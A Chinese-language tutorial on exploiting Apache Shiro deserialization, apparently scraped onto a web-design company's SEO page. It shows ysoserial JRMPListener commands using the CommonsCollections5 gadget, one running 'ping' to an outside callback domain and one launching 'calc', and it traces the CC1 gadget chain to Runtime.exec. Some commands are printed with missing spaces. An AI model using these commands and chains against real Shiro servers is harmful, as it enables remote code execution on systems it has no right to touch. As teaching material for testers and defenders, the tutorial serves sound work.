安庆市网站建设_网站建设公司_MySQL_seo优化
2026/1/16 22:24:06 网站建设 项目流程

知识点:
1、Java攻防-Shiro-有key无利用链&JRMP协议
2、Java攻防-Shiro-CC1链分析&Transform执行链

一、演示案例-Java攻防-Shiro-有key无利用链&JRMP协议

Shriokey无链:
JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是Java对象实现远程通信的基础技术,也是Java RMIRemote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

非常规链:
利用工具:https://github.com/wyzxxz/shiro_rce_tool
文章:https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

公网靶场-URLDNS链

1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"ping kfxmlanpak.zaza.eu.org"


shiro_tool使用JRMPClient模式


2、java-chains项目生成JRMPListener





shiro_tool使用JRMPClient模式

本地DEMO-执行RCE



1、ysoserial生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener6789CommonsCollections5"calc"


shiro_tool使用JRMPClient模式

2、java-chains项目生成JRMPListener




shiro_tool使用JRMPClient模式

二、演示案例-Java攻防-Shiro-CC1链分析&Transform执行链

文章参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections Gadget chain: ObjectInputStream.readObject()AnnotationInvocationHandler.readObject())MapEntry#setValueTransformedMap#checkSetValueChainedTransformer.transform()ConstantTransformer.transform()Runtime.class InvokerTransformer.transform()getRuntime().exec("calc");Class.getMethod()Runtime.getRuntime()Runtime.exec()//跟链过程从下往上,源码全局搜索InvokerTransformer.transform()

1、寻找sink执行点

作用:执行点触发RCE执行

InvokerTransformer#transform()




本地DEMO





ChainedTransformer#transform()

ConstantTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

TransformedMap#checkSetValue

现在已经知道RCE的由来,现在只需要看谁用了transform()




MapEntry#setValue







3、寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue


ObjectInputStream#readObject()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询